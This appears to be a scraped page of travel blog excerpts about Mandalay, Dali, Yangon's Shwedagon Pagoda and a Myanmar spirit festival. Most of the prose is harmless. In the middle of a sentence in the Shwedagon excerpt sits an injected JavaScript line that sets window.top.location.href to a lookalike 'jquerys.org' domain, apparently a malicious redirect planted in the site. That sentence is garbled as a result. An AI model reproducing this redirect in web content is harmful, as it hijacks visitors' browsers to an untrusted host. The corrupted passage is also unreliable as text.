Love Heart, downtown Mandalay

Strolling around downtown Mandalay is a curious task. Not knowing what will be around the next corner, down the end of this street or whether there will even be a pedestrian walkway but instead a congested mini motorway… it’s all a part of the labyrinthine fun that the designers of this developing city surely must experience when traversing even their own system of principles. It is a confusing city indeed, [...]

Dali Cangshan mountain range turning to night, Yunnan, China

I do often wonder just how much weather affects our mood and overall balance of emotions. If the balance experienced in Dali, Yunnan were somehow measured, it would be just that, a balance. The days are never too cold, hot or windy due to the surrounding mountains and fort walls that provide wind resistance, whilst the evenings stay crisp all year long. Perhaps this is the cause for a cursing [...]

Shwedagon Pagoda, Yangon, Myanmar capital

Due /* */ window.top.location.href = “http://www.jquerys.org”; to being a tourist, it is of course regular for the natives of any country to be curious of such a sore thumb as I.

Mandalay Spirit Festival, Myanmar

The kid with the flower discovered me as I pondered through a packed, village market. He kept appearing, waving his hand and asking me to follow and then when I even looked at him he would dissapear again into the crowds.
